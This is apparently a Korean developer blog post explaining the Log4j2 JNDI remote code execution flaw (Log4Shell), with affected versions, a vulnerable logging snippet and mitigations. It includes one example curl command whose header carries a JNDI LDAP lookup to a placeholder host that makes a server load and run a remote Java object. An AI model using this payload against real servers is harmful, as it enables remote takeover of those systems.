반응형
갑자기 뉴스를 보는데 Log4j에서 엄청난 취약점이 발견됐다는 소식이 나오길래 뭐 때문인지? 그리고 해결 방안은 무엇인지 찾아봤습니다.
취약 버전
2.0 beta9 <= Log4j2 <= 2.14.1 (1.x 버전은 해당사항 없음)
원인
Log4j의 ldap JNDI 파서를 통한 원격 코드 실행(RCE - Remote Code Execution) 취약점 때문에 문제가 발생했다.
예)
request의 userAgent를 log4j를 사용해 로그를 찍는 경우 발생할 수 있습니다.
xxx.xxx.xxx.xxx/a 에 위치한 자바 객체를 자동으로 서버에서 실행 시키는 공격
ex) # curl 127.0.0.1:8080 -H ‘X-Api-Version: ${jndi:ldap://xxx.xxx.xxx.xxx/a}’
위와 같은 공격말고도 무궁무진한 방법을 사용할 수 있을 것으로 보입니다.
static Logger log = LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName());
...
String userAgent = he.getRequestHeader("user-agent");
String response = "<h1>Hello There, " + userAgent + "!</h1>";
log.error("Request User Agent:{}", userAgent);
...
- 안랩
해결책
- 가장 안전한 방법은 log4j 를 2.15.0 이상으로 올리는 것이다. 하지만 이 방법은 Java 8이 필요하다. 2.12.1 버전 Java 7을 지원하는 마지막 버전이므로, 2.13.0 이상 버전을 사용중이라면 판올림에는 문제가 없다.
-
log4j 2.10.0 이상 사용 시 다음의 방법 중 한 가지 이상의 방법을 사용한다.
2. Java 실행 계정의 환경 변수 혹은 시스템 변수로 LOG4J_FORMAT_MSG_NO_LOOKUPS=true를 설정한다. -
log4j 2.7.0 이상 사용 시 log4j 설정(log4j.xml 등)에 PatternLayout 속성에 있는 %m 부분을 %m{nolookups} 으로 교체한다.
-
log4j 상기버전 미만일 경우 가장 어려운 상황으로, JndiLookup 클래스와 JndiManager 클래스를 읽지 못하도록 조치해야 한다. log4j-core.jar 를 직접 빌드하거나, 자바 프로젝트에 패키지명까지 맞춰가면서 dummy화 시켜야 한다.
-
log4j 외에 다른 로깅 모듈로의 교체를 검토한다.
- 나무위키
컴퓨터 역사상 최악 취약점 발견이라는 말도 나오는 거 보니 이전부터 아는 사람들이 열심히 써왔었겠네요..
저희 회사는 다행히 다른 로깅 라이브러리를 사용하고 있어서 별 다른 조치를 안 해도 되니 다행이네요 ㅠㅠ
출처
반응형
'Java' 카테고리의 다른 글
[Java] Mockito 사용법 (3) - 스터빙 (Stubbing) (OngoingStubbing, Stubber) (0) | 2022.09.06 |
---|---|
[Java] Mockito 사용법 (2) - 설정, Mock 생성 (@Mock, @Spy, @InjectMocks) (0) | 2022.09.06 |
[Java] Mockito 사용법 (1) - Mock이란?, Mockito 소개 (1) | 2022.09.06 |
[Java] equals(), hashCode(), toString() 재정의 이유와 방법 (2) (0) | 2021.04.16 |
[Java] equals(), hashCode(), toString() 재정의 이유와 방법 (1) (0) | 2021.04.16 |
댓글